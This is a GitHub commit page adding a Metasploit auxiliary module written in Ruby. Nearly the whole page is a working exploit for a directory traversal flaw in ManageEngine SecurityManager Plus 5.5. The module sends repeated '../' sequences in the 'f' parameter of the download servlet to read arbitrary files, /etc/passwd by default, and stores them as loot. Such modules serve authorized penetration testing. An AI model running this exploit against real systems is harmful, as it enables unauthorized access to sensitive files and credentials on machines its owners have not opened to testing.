Skip to content

Commit 196d53a

Browse files
author
jvazquez-r7
committed
Merge branch 'manageengine_traversal' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-manageengine_traversal
2 parents 53c7479 + c878b90 commit 196d53a

File tree

2 files changed

+92
-0
lines changed

2 files changed

+92
-0
lines changed
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',
19+
'Description' => %q{
20+
This module exploits a directory traversal flaw found in ManageEngine
21+
SecurityManager Plus 5.5 or less. When handling a file download request,
22+
the DownloadServlet class fails to properly check the 'f' parameter, which
23+
can be abused to read any file outside the virtual directory.
24+
},
25+
'References' =>
26+
[
27+
['OSVDB', '86563'],
28+
['EDB', '22092']
29+
],
30+
'Author' =>
31+
[
32+
'blkhtc0rp', #Original
33+
'sinn3r'
34+
],
35+
'License' => MSF_LICENSE,
36+
'DisclosureDate' => "Oct 19 2012"
37+
))
38+
39+
register_options(
40+
[
41+
OptPort.new('RPORT', [true, 'The target port', 6262]),
42+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
43+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
44+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
45+
], self.class)
46+
end
47+
48+
49+
def run_host(ip)
50+
base = target_uri.path
51+
base << '/' if base[-1,1] != '/'
52+
53+
peer = "#{ip}:#{rport}"
54+
fname = datastore['FILE']
55+
56+
print_status("#{peer} - Reading '#{datastore['FILE']}'")
57+
traverse = "../" * datastore['DEPTH']
58+
res = send_request_cgi({
59+
'method' => 'GET',
60+
'uri' => "#{base}store",
61+
'vars_get' => {
62+
'f' => "#{traverse}#{datastore['FILE']}"
63+
}
64+
})
65+
66+
67+
if res and res.code == 500 and res.body =~ /Error report/
68+
print_error("Cannot obtain '#{fname}', here are some possible reasons:")
69+
print_error("\t1. File does not exist.")
70+
print_error("\t2. The server does not have any patches deployed.")
71+
print_error("\t3. Your 'DEPTH' option isn't deep enough.")
72+
print_error("\t4. Some kind of permission issues.")
73+
74+
elsif res and res.code == 200
75+
data = res.body
76+
p = store_loot(
77+
'manageengine.securitymanager',
78+
'application/octet-stream',
79+
ip,
80+
data,
81+
fname
82+
)
83+
84+
vprint_line(data)
85+
print_good("#{peer} - #{fname} stored as '#{p}'")
86+
87+
else
88+
print_error("#{peer} - Fail to obtain file for some unknown reason")
89+
end
90+
end
91+
92+
end

0 commit comments

Comments
 (0)